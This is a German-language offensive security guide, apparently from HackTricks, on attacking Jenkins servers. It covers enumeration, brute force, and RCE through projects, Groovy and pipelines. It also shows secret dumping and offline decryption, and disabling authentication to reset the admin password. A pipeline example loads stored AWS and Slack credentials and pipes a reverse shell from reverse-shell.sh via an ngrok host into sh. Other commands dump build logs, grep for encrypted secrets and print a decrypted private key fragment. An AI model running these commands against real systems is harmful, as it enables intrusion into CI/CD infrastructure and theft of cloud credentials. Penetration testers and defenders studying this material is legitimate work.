Jenkins Security

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Jenkins ist ein Tool, das eine einfache Methode zur Einrichtung einer kontinuierlichen Integration oder kontinuierlichen Bereitstellung (CI/CD)-Umgebung für fast jede Kombination von Programmiersprachen und Quellcode-Repositories mithilfe von Pipelines bietet. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Obwohl Jenkins nicht die Notwendigkeit beseitigt, Skripte für einzelne Schritte zu erstellen, bietet es dennoch eine schnellere und robustere Möglichkeit, die gesamte Sequenz von Build-, Test- und Bereitstellungstools zu integrieren, als man dies manuell leicht erstellen könnte.

pageBasic Jenkins Information

Nicht authentifizierte Enumeration

Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen (wie z. B. /people oder /asynchPeople, die die aktuellen Benutzer auflisten), können Sie Folgendes verwenden:

msf> use auxiliary/scanner/http/jenkins_enum

Überprüfen Sie, ob Sie Befehle ohne Authentifizierung ausführen können:

msf> use auxiliary/scanner/http/jenkins_command

Ohne Anmeldeinformationen können Sie den Pfad /asynchPeople/ oder /securityRealm/user/admin/search/index?q= nach Benutzernamen durchsuchen.

Sie können die Jenkins-Version möglicherweise aus dem Pfad /oops oder /error erhalten.

Bekannte Sicherheitslücken

Anmeldung

In den grundlegenden Informationen können Sie alle Möglichkeiten überprüfen, sich bei Jenkins anzumelden:

pageBasic Jenkins Information

Registrierung

Sie können Jenkins-Instanzen finden, die es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.

SSO-Anmeldung

Wenn auch SSO-Funktionalität/-Plugins vorhanden waren, sollten Sie versuchen, sich mit einem Testkonto (z. B. einem Test-Github/Bitbucket-Konto) in der Anwendung anzumelden. Trick von hier.

Bruteforce

Jenkins fehlt eine Passwortrichtlinie und eine Benutzername-Brute-Force-Mitigation. Es ist wichtig, Benutzer durch Brute-Force zu ermitteln, da schwache Passwörter oder Benutzernamen als Passwörter verwendet werden können, sogar umgekehrte Benutzernamen als Passwörter.

msf> use auxiliary/scanner/http/jenkins_login

Passwort-Spraying

Verwenden Sie dieses Python-Skript oder dieses PowerShell-Skript.

Umgehung der IP-Whitelist

Viele Organisationen kombinieren SaaS-basierte Quellcode-Verwaltungssysteme (SCM) wie GitHub oder GitLab mit einer internen, selbstgehosteten CI-Lösung wie Jenkins oder TeamCity. Diese Konfiguration ermöglicht es CI-Systemen, Webhook-Ereignisse von SaaS-Quellcode-Anbietern zu empfangen, hauptsächlich zur Auslösung von Pipeline-Jobs.

Um dies zu erreichen, whitelisten Organisationen die IP-Bereiche der SCM-Plattformen, um diesen den Zugriff auf das interne CI-System über Webhooks zu ermöglichen. Es ist jedoch wichtig zu beachten, dass jeder ein Konto bei GitHub oder GitLab erstellen und es konfigurieren kann, um einen Webhook auszulösen, der möglicherweise Anfragen an das interne CI-System sendet.

Überprüfen Sie: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Interne Jenkins-Missbräuche

In diesen Szenarien gehen wir davon aus, dass Sie über ein gültiges Konto zum Zugriff auf Jenkins verfügen.

Je nach konfiguriertem Autorisierungsmechanismus in Jenkins und den Berechtigungen des kompromittierten Benutzers können Sie die folgenden Angriffe möglicherweise oder auch nicht durchführen.

Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

pageBasic Jenkins Information

Auflisten von Benutzern

Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter http://127.0.0.1:8080/asynchPeople/ auflisten.

Dumping von Builds zur Suche nach Klartextgeheimnissen

Verwenden Sie dieses Skript, um Build-Konsolenausgaben und Build-Umgebungsvariablen zu dumpen und hoffentlich Klartextgeheimnisse zu finden.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Stehlen von SSH-Anmeldeinformationen

Wenn der kompromittierte Benutzer ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er diese Anmeldeinformationen stehlen, indem er einen Knoten erstellt/ändert und einen Host einstellt, der die Anmeldeinformationen aufzeichnet, ohne den Hostschlüssel zu überprüfen:

In der Regel finden Sie Jenkins-SSH-Anmeldeinformationen in einem globalen Anbieter (/credentials/), sodass Sie sie auch wie jedes andere Geheimnis auslesen können. Weitere Informationen im Abschnitt zum Auslesen von Geheimnissen.

RCE in Jenkins

Das Erhalten einer Shell im Jenkins-Server gibt dem Angreifer die Möglichkeit, alle Geheimnisse und Umgebungsvariablen preiszugeben und andere Maschinen im selben Netzwerk oder sogar Cloud-Anmeldeinformationen zu nutzen.

Standardmäßig wird Jenkins als SYSTEM ausgeführt. Daher gibt das Kompromittieren dem Angreifer SYSTEM-Berechtigungen.

RCE Erstellen/Ändern eines Projekts

Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:

pageJenkins RCE Creating/Modifying Project

RCE Ausführen eines Groovy-Skripts

Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise unauffälliger ist als das Erstellen eines neuen Projekts:

pageJenkins RCE with Groovy Script

RCE Erstellen/Ändern einer Pipeline

Sie können auch RCE erhalten, indem Sie eine Pipeline erstellen/ändern:

pageJenkins RCE Creating/Modifying Pipeline

Pipeline-Ausnutzung

Um Pipelines auszunutzen, benötigen Sie immer noch Zugriff auf Jenkins.

Build-Pipelines

Pipelines können auch als Build-Mechanismus in Projekten verwendet werden, in diesem Fall kann eine Datei im Repository konfiguriert werden, die die Pipelinesyntax enthält. Standardmäßig wird /Jenkinsfile verwendet:

Es ist auch möglich, Pipeline-Konfigurationsdateien an anderen Orten zu speichern (zum Beispiel in anderen Repositories), um den Zugriff auf das Repository und den Zugriff auf die Pipeline zu trennen.

Wenn ein Angreifer Schreibzugriff auf diese Datei hat, kann er sie ändern und möglicherweise die Pipeline auslösen, ohne überhaupt Zugriff auf Jenkins zu haben. Es ist möglich, dass der Angreifer einige Zweig-Schutzmechanismen umgehen muss (je nach Plattform und den Benutzerberechtigungen können sie umgangen werden oder nicht).

Die häufigsten Auslöser für die Ausführung einer benutzerdefinierten Pipeline sind:

  • Pull-Anforderung an den Hauptzweig (oder möglicherweise an andere Zweige)

  • Push zum Hauptzweig (oder möglicherweise zu anderen Zweigen)

  • Aktualisierung des Hauptzweigs und Warten, bis er auf irgendeine Weise ausgeführt wird

Wenn Sie ein externer Benutzer sind, sollten Sie nicht erwarten, eine PR an den Hauptzweig des Repos eines anderen Benutzers/Unternehmens zu erstellen und die Pipeline auszulösen... aber wenn sie schlecht konfiguriert ist, könnten Sie Unternehmen vollständig kompromittieren, indem Sie dies ausnutzen.

Pipeline-RCE

Im vorherigen Abschnitt zu RCE wurde bereits eine Technik angegeben, um RCE durch Ändern einer Pipeline zu erhalten.

Überprüfen von Umgebungsvariablen

Es ist möglich, Klartext-Umgebungsvariablen für die gesamte Pipeline oder für bestimmte Phasen zu deklarieren. Diese Umgebungsvariablen sollten keine sensiblen Informationen enthalten, aber ein Angreifer könnte immer alle Pipeline-Konfigurationen/Jenkinsfiles überprüfen:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping von Geheimnissen

Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, schauen Sie sich die grundlegenden Informationen an:

pageBasic Jenkins Information

Anmeldeinformationen können auf globale Anbieter (/credentials/) oder auf spezifische Projekte (/job/<project-name>/configure) beschränkt sein. Daher müssen Sie mindestens alle Projekte kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/verseuchte Pipelines ausführen, um alle von ihnen zu exfiltrieren.

Es gibt ein weiteres Problem: Um ein Geheimnis innerhalb der Umgebung einer Pipeline zu erhalten, müssen Sie den Namen und Typ des Geheimnisses kennen. Wenn Sie beispielsweise versuchen, ein usernamePassword-Geheimnis als string-Geheimnis zu laden, erhalten Sie diesen Fehler:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier ist der Weg, um einige gängige Arten von Geheimnissen zu laden:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Am Ende dieser Seite finden Sie alle Arten von Anmeldeinformationen: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Der beste Weg, um alle Geheimnisse auf einmal preiszugeben, besteht darin, die Jenkins-Maschine zu kompromittieren (zum Beispiel durch Ausführen einer Reverse-Shell im integrierten Knoten) und dann die Master-Schlüssel und die verschlüsselten Geheimnisse zu leaken und offline zu entschlüsseln. Mehr dazu finden Sie im Abschnitt Nodes & Agents und im Abschnitt Post Exploitation.

Auslöser

Aus der Dokumentation: Die triggers-Direktive definiert die automatisierten Methoden, mit denen der Pipeline erneut ausgelöst werden soll. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind triggers möglicherweise nicht erforderlich, da wahrscheinlich bereits eine Integration basierend auf Webhooks vorhanden ist. Die derzeit verfügbaren Auslöser sind cron, pollSCM und upstream.

Cron-Beispiel:

triggers { cron('H */4 * * 1-5') }

Überprüfen Sie andere Beispiele in der Dokumentation.

Knoten & Agenten

Eine Jenkins-Instanz könnte verschiedene Agenten auf verschiedenen Maschinen ausführen. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen verschiedene potenzielle Cloud-Anmeldeinformationen, die gestohlen werden könnten, oder verschiedene Netzwerkzugriffe, die missbraucht werden könnten, um andere Maschinen zu kompromittieren.

Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

pageBasic Jenkins Information

Sie können die konfigurierten Knoten in /computer/ aufzählen, normalerweise finden Sie den Built-In Node (der den Jenkins ausführenden Knoten darstellt) und möglicherweise weitere:

Es ist besonders interessant, den Built-In-Knoten zu kompromittieren, da er sensible Jenkins-Informationen enthält.

Um anzuzeigen, dass Sie die Pipeline im eingebauten Jenkins-Knoten ausführen möchten, können Sie die folgende Konfiguration innerhalb der Pipeline angeben:

pipeline {
agent {label 'built-in'}

Vollständiges Beispiel

Pipeline in einem spezifischen Agenten, mit einem Cron-Auslöser, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post-Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Geheimnisse

Sie können die Geheimnisse auflisten, indem Sie auf /credentials/ zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei credentials.xml auflistet, aber Build-Konfigurationsdateien können auch weitere Anmeldeinformationen enthalten.

Wenn Sie die Konfiguration jedes Projekts einsehen können, können Sie auch dort die Namen der Anmeldeinformationen (Geheimnisse) sehen, die zur Authentifizierung am Repository verwendet werden, sowie andere Anmeldeinformationen des Projekts.

Von Groovy

pageJenkins Dumping Secrets from Groovy

Vom Datenträger

Diese Dateien sind erforderlich, um Jenkins-Geheimnisse zu entschlüsseln:

  • secrets/master.key

  • secrets/hudson.util.Secret

Solche Geheimnisse sind normalerweise in zu finden:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Hier ist ein Regex, um sie zu finden:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Entschlüsseln von Jenkins-Geheimnissen offline

Wenn Sie die benötigten Passwörter zum Entschlüsseln der Geheimnisse abgerufen haben, verwenden Sie dieses Skript zum Entschlüsseln dieser Geheimnisse.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Entschlüsseln von Jenkins-Geheimnissen aus Groovy

println(hudson.util.Secret.decrypt("{...}"))

Neuen Admin-Benutzer erstellen

  1. Greifen Sie auf die Jenkins-Konfigurationsdatei unter /var/lib/jenkins/config.xml oder C:\Program Files (x86)\Jenkins\ zu.

  2. Suchen Sie nach dem Wort <useSecurity>true</useSecurity> und ändern Sie das Wort true in false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Starten Sie den Jenkins-Server neu: service jenkins restart

  5. Gehen Sie erneut zum Jenkins-Portal, und Jenkins wird dieses Mal keine Anmeldeinformationen anfordern. Navigieren Sie zu "Jenkins verwalten", um das Administratorpasswort erneut festzulegen.

  6. Aktivieren Sie die Sicherheit erneut, indem Sie die Einstellungen auf <useSecurity>true</useSecurity> ändern, und starten Sie Jenkins erneut.

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated